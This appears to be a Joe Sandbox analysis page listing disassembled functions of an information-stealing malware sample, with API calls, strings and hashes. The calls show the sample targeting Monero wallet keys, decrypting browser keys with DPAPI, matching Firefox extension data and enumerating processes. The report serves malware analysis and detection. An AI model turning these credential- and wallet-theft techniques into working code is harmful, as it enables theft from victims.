Opcode Fuzzy Hash: 35e2df741408b1b9c08ffcddffd7a15bd6b82e5cc57fed77700b22d7d64d72df
Instruction Fuzzy Hash: F821EDB1A44305BBDB04DF94DD49FAEBBB8FB48711F108519F606B7280C7B9A9018FA5

Function 00538D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0053951E,00000000), ref: 00538D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00538D62
wsprintfW.USER32 ref: 00538D78

Strings

%hs, xrefs: 00538D6F

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 749d64902cc15b33d1cce9999030c3d147ffe29928d74553caba88a92c661e6c
Instruction ID: 832361584e0c7a2d6d5567a747f8b68eaa714a4e0068015f5602cf813d25d1d2
Opcode Fuzzy Hash: 749d64902cc15b33d1cce9999030c3d147ffe29928d74553caba88a92c661e6c
Instruction Fuzzy Hash: ACE0E675A50309BFD710DB94DD09E5977B8EB44702F104154FD0B97280D9B56E109F56

Function 0052A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,00F0FB78,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0052A3FF
lstrlen.KERNEL32(00000000), ref: 0052A6BC

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

DeleteFileA.KERNEL32(00000000), ref: 0052A743

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3da80faac736683652a2c921a943901f5aed19e822284d4ad6041d9174c43075
Instruction ID: 2a2c7ed48ca7be4a5bf64e3afb99d544986e47e5040487ad9dee3f3cd2ce2edc
Opcode Fuzzy Hash: 3da80faac736683652a2c921a943901f5aed19e822284d4ad6041d9174c43075
Instruction Fuzzy Hash: 79E11073810109ABCB04FBA4DC9AEEEBB38BF94300F508159F55772091EF746A49CB66

Function 0052D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,00F0FB78,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052D481
lstrlen.KERNEL32(00000000), ref: 0052D698
lstrlen.KERNEL32(00000000), ref: 0052D6AC
DeleteFileA.KERNEL32(00000000), ref: 0052D72B

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 10bb7bbf9d20b51fef1e46687481ae3711cafecbadb6f0e289853d65d4edac1f
Instruction ID: 92a903172e5f9679b4f2c90f92087315fd71df2ac342f93e87137edf1597d636
Opcode Fuzzy Hash: 10bb7bbf9d20b51fef1e46687481ae3711cafecbadb6f0e289853d65d4edac1f
Instruction Fuzzy Hash: 1D910672910109ABDB04FBA4DC9AEEEBB38BF94300F508158F54776091EF746A09CB66

Function 0052D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,00F0FB78,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052D801
lstrlen.KERNEL32(00000000), ref: 0052D99F
lstrlen.KERNEL32(00000000), ref: 0052D9B3
DeleteFileA.KERNEL32(00000000), ref: 0052DA32

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5d01b2b37cd7077f21c66b80a8fb0fa4e5cdd11bd36c75342d1df271db9d8a04
Instruction ID: da24577d60c4b4d9c0e4b8e6f86859b98a421e68996c3f4ea0ffc25bbc25e7ba
Opcode Fuzzy Hash: 5d01b2b37cd7077f21c66b80a8fb0fa4e5cdd11bd36c75342d1df271db9d8a04
Instruction Fuzzy Hash: 43810472910119ABCB04FBB4DC9AEEEBB38BF94300F504518F547B6091EF746A09DB66

Function 0052F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00541580,00540D92), ref: 0052F54C
lstrlen.KERNEL32(00000000), ref: 0052F56B

Strings

moz-extension+++, xrefs: 0052F5AD
^userContextId=4294967295, xrefs: 0052F59C

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: ad613eac88453120e82bc2574e6448eebc250bc19401629d1b5f3969c80de776
Instruction ID: 3d9e003d0515d1b0bbbe5219ba743ac8f702991a2a76d2bbdce3a2d510fd234c
Opcode Fuzzy Hash: ad613eac88453120e82bc2574e6448eebc250bc19401629d1b5f3969c80de776
Instruction Fuzzy Hash: 9151F672D10109AADB04FBB4DC9ADEDBB78BFD4300F508528F45667195EF346A09CBA2

Function 005370D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0053718C
sS, xrefs: 005372AE, 00537179, 0053717C
sS, xrefs: 00537111

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sS$sS$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1259041206
Opcode ID: 5797e2bd2b2e3b3712beadcddab95b775f173575c5a82bbbc6a20ba2d1310eff
Instruction ID: 5b682618626dc96174005216a5d7503c354ded035cd1c57f2e70e147bc924d57
Opcode Fuzzy Hash: 5797e2bd2b2e3b3712beadcddab95b775f173575c5a82bbbc6a20ba2d1310eff
Instruction Fuzzy Hash: D35170B1C0421DABDB24EB90DC99BEEBB74BF48304F1044A8E21577181EB746E88DF55

Function 00533560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: b32dff572fde97d768cf4cd1b5bd8ab57317c8269bb0e5981ce4e0e7785f52ee
Instruction ID: 46d9137150b7acdf348db7776178345ae1142fb103ed2b065a19bd2b79f44f89
Opcode Fuzzy Hash: b32dff572fde97d768cf4cd1b5bd8ab57317c8269bb0e5981ce4e0e7785f52ee
Instruction Fuzzy Hash: 2741F1B1D10209AFCB04EFA4D896AEEBB74FB54304F108418F51677291EB75AA09CF92

Function 00529CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00529D39

Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529AEF
Part of subcall function 00529AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00524EEE,00000000,?), ref: 00529B01
Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529B2A
Part of subcall function 00529AC0: LocalFree.KERNEL32(?,?,?,?,00524EEE,00000000,?), ref: 00529B3F

Part of subcall function 00529B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00529B84
Part of subcall function 00529B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00529BA3
Part of subcall function 00529B60: LocalFree.KERNEL32(?), ref: 00529BD3

Strings

DPAPI, xrefs: 00529D89
"encrypted_key":", xrefs: 00529D30
, xrefs: 00529DC1

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 147eab0e7791c3a721ab2febb2532347e6f9a1dffff4cf29c1d4597e49a01c7f
Instruction ID: ae6b425e43838b0119f5aab7826084c927b0e896ae8c3dec79254b936f0b9bdb
Opcode Fuzzy Hash: 147eab0e7791c3a721ab2febb2532347e6f9a1dffff4cf29c1d4597e49a01c7f
Instruction Fuzzy Hash: CC3154B6D10219ABCF04DFE4DC85BEFBBB8BF49304F144518E905A7281E7709A44CBA5

Function 00538680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005405B7), ref: 005386CA
Process32First.KERNEL32(?,00000128), ref: 005386DE
Process32Next.KERNEL32(?,00000128), ref: 005386F3

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

CloseHandle.KERNEL32(?), ref: 00538761

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 823be6cc19b5a976c90ee2cdf654bbf55c17d321169c21d82919ae3e7c444f73
Instruction ID: a7234b9a588733b22d0d1a50a7792cb2c65537578215ba9f62a094e3b80125cc
Opcode Fuzzy Hash: 823be6cc19b5a976c90ee2cdf654bbf55c17d321169c21d82919ae3e7c444f73
Instruction Fuzzy Hash: 42312B72901219ABCB24EF54DC49FEEBB78FB85700F104199F50AB61A0DB746A45CFA1

Function 00537980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00540E00,00000000,?), ref: 005379B0
RtlAllocateHeap.NTDLL(00000000), ref: 005379B7
GetLocalTime.KERNEL32(?,?,?,?,?,00540E00,00000000,?), ref: 005379C4
